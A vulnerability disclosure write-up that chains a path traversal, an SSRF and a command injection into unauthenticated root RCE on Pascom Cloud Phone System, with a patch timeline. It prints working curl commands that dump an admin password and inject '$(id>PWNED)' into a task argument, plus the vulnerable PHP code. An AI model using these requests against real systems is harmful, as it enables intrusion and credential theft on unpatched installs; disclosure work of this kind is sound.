The Story of 3 bugs that lead to Unauthorized RCE - Pascom Systems - Tutorial Boy -->

The Story of 3 bugs that lead to Unauthorized RCE - Pascom Systems






A detailed post on how I chained 3 vulnerabilities (A path traversal, An SSRF in an external piece of software, and a post-authentication RCE) into a full pre-auth RCE in Pascoms Cloud phone system.

Introduction


Pascom Cloud Phone System (CPS) provides integrated communication solutions for businesses and individuals. You can read more about it here

After downloading their free trial which can be installed in Virtualbox, I discovered 3 vulnerabilities that chained together lead to an unauthenticated attacker gaining root on these devices. Below I'll describe all three bugs and how I was able to chain them into a full exploit.

These bugs have been patched in 7.20.x versions. If your CPS instance is hosted on the cloud (Provided by PasCom) then the second bug does not exist so it breaks the chain. But it's still affected by the RCE, Although by the time this blog is published it will be patched automatically for cloud users.


We advise all users hosting their own installs of CPS to update to the latest version ASAP.


Pascom CPS System Structure


Before we get into the vulnerabilities we should look at how the pascom CPS is structured. The system runs a Linux-based OS but the products are deployed interestingly. Instead of running the services in the same environment (OS), CPS has multiple LXC containers providing a variety of services.


There are 4 containers and they provide different services like a database and web UI services. Since our RCE will run within one of these containers we cannot gain access to the host OS. But since everything interesting is contained within these containers this does not limit the severity of the bugs. But I still felt like this is interesting enough to mention. Now, On with the bugs.

Path traveseral in Nginx to Tomcat reverse proxy requests (CVE-2021-45968)


The web UI exposes a java endpoint using Nginx reverse proxy. Using a known path traversal issue (see Here) caused by URI parsing inconsistencies between Nginx and Tomcat we can access non-exposed endpoints. This is more interesting coupled with the next bug.

Below we have an Nginx config the line defining this endpoint.
# From /etc/nginx/nginx.conf in `pascom-<hostname>` container
# Xmppserver proxy /services/pluginscript -> localhost:9090
location ^~ /services/pluginscript {
    rewrite ^/services/pluginscript/(.*) /$1 break;
    proxy_pass http://127.0.0.1:9090/plugins/mobydick/pluginscript/$1$is_args$query_string;
}
The config above is pretty straightforward. If a request starting with /services/pluginscript is found, Then we forward it to the service running on port 9090. It's also worth noting that the /services/plugin script part of the request URL is stripped and the rest is passed to the backed.

By using the /..;/ trick we can access endpoints we were not meant to access. In case you are not familiar with the URI parsing issues mentioned at the beginning of this entry, Nginx treats /..;/ as a directory while Tomcat treats it as it would treat /../ which allows us to access arbitrary servlets.

Below is an example showing just how this works, We'll discuss the interesting endpoint we can access in the next chapter.



As we can see, We managed to send a request to the root of the Java web application which tried to redirect us to index.jsp. Using this little bug, We can start to expand our attack.

Outdated Openfire (XMPP server) jar causes SSRF (CVE-2021-45967)

In the CPS there's an instance of XMPP server by Ignite Realtime. This endpoint can be accessed from the web interface but only a few servlets are exposed. But using the path traversal bug we found, We can access any endpoint.

While doing this research, I believed the XMPP server was part of the CPS stack and this bug was a zero-day. While coordinating the patching process with PasCom I realized that it was maintained by another entity (Ignite Realtime and by Jive software before that) and the bug has already been discovered and patched. It has a CVE identifier CVE-2019-18394. As such this bugs description was changed to an outdated XMPP server (Openfire) rather than a bug in the CPS stack.

The version packaged with CPS versions <= 7.19 contains a known SSRF issue, By using the first bug combined with this one, We can do some interesting things. Since the details of the issue are public (see CVE link above) I won't explain how this bug works in particular, If you're interested check out the references in the CVE or The patch on Github.

In a nutshell, we can send arbitrary HTTP GET requests using the bug in FaviconServlet.java. The servlet can be accessed at 127.0.0.:9090/getFavicon on CPS. The servlet uses the input from the HTTP parameter host to construct an HTTP URL without proper checks. The URL is constructed like http: //+our_input+/favicon.ico. This allows us to send requests to any endpoint.

My first thought was to use the request with some CRLF injection (if it exists) to access a Memcached service then pivot from there. But while reading through the REST API code for CPS I discovered that requests from localhost are not authenticated (A very common exception). What's more, there's a system user that we can use to access the REST API as admin.

The users' password can be dumped with the SSRF but it should be noted that AFAIK this password is random and generated upon installation so it's not a security issue. With that note let's see how we can combine the above two bugs to get the password for the user.
  •  Dump the password using path traversal + SSRF
  •  Use the password to exploit the last bug (RCE)
# Dump the password
curl -k --path-as-is 'https://192.168.56.105/pascom-confirm/services/pluginscript/..;/..;/..;/getFavicon?host=localhost/services/sysinfo/activeconfig?' -o - 2>/dev/null| jq | grep moby
# Use the password to dump some stuff (Make sure we got the right one)
curl -vk -o - --path-as-is -u "moby:hYXanvhQaD70wOB" "https://192.168.56.105/pascom-confirm/services/sysinfo/activeconfig" -o - 2>/dev/null | grep password

The ? at the end of the url is to make the appended favicon.ico irrelevant when our request gets parsed.

By chaining the two vulnerabilities above we now have the password for a built-in rest user that can access all endpoints. Let's escalate this to RCE :)

Command Injection in the scheduled task (CVE-2021-45966)

One of the features used in CPS is the ability to schedule and execute tasks using a daemon named exd.pl which runs as root. This daemon and the REST service are synchronized using a SQLite database stored in /var/lib/pascom/exd.db in the container named using the hostname. When a user requests a task to be executed it's added to the database. Within a few seconds, exd.pl reads the request from the database and executed the task.

I'll avoid going into the code here because this is a multi-layered system, And even though a high-level understanding of how it interacts with the rest API and executes tasks might be needed, A deep understanding of the codebase is not. Since the bug lies in a task script and not in the daemon or the REST API.

The endpoint to specify the task we want to execute is at /services/apply. We send a JSON request to this endpoint and it will schedule a task for us. The JSON object needs to contain a task id, task executor, and arguments which is an array. The task with the vulnerability has an id of 050380.

Let's look at the task's code and see where the bug occurs.
class tsk050380 extends ex_task{

    public function perform( $pars ){
        if (count($pars) < 2 || count($pars) > 4) {
            $this->logError('Wrong parameters');
            return false;
        }

        // Parameter prüfen
        $tarfile = $pars[0];
        $targetdir=$pars[1];
        if(count($pars) > 2)
            $deleteOutDir = $pars[2];
        else
            $deleteOutDir = false;

        if (count($pars) > 3)
            $createOutDir = $pars[3];
        else
            $createOutDir = false;

        if ($createOutDir && !is_dir($targetdir)) {
            if (!mkdir($targetdir, 0777, true)) {
                $this->logError("Failed to create output directory: $targetdir");
                return false;
            }
        }

        if (!is_dir($targetdir)) {
            $this->logError("No such directory: $targetdir");
            return false;
        }



        if (!is_file($tarfile)) {
            $this->logError("No such file: $tarfile");
            return false;
        }

        if($deleteOutDir) {
            $this->logMessage('Clean output directory');
            $ret = $this->execute('rm -rf ' . realpath($targetdir) . '/*'); // RCE, $targetDir is derived from user input and not cleaned.
            if($ret !== 0) {

Once we schedule this task using the REST API the perform() method will be called with our arguments. As we can see above one of the arguments ($targetDir) will be used to execute an rm -rf command and it's not cleaned or escaped.

We can use this to execute commands as root (Even though PHP doesn't run as root). This gives us full control of the machine and an easy way to escalate privileges. In the demo, the web shell incorporates an LPE that's why all commands run as root. Normally a PHP script on CPS runs with very low privileges.

Here is a screenshot showing root RCE.
# RCE request
curl -k -o - --path-as-is -u "moby:hYXanvhQaD70wOB" "https://192.168.56.105/pascom-confirm/services/apply" -H 'Content-Type: application/json' -d '{"task":"050380","executor":"tsk", "args": ["/etc/passwd", "/tmp/MAD_DIR$(id>PWNED)","True","True"] }' 2>/dev/null | jq

We Have RCE :) The demo below puts all this together to upload a web shell with LPE.

RCE Demo

A demo of the chain, With Local Privilege Escalation to root

Timeline

  • Dec 29, 2021 --> Initial contact with Pascom
  • Jan 3, 2022, --> Sent vulnerability details
  • Jan 5, 2022, --> Pascom prepare patches, and a grace peroid to disclosure is set
  • Mar 7, 2022 --> Public disclosure.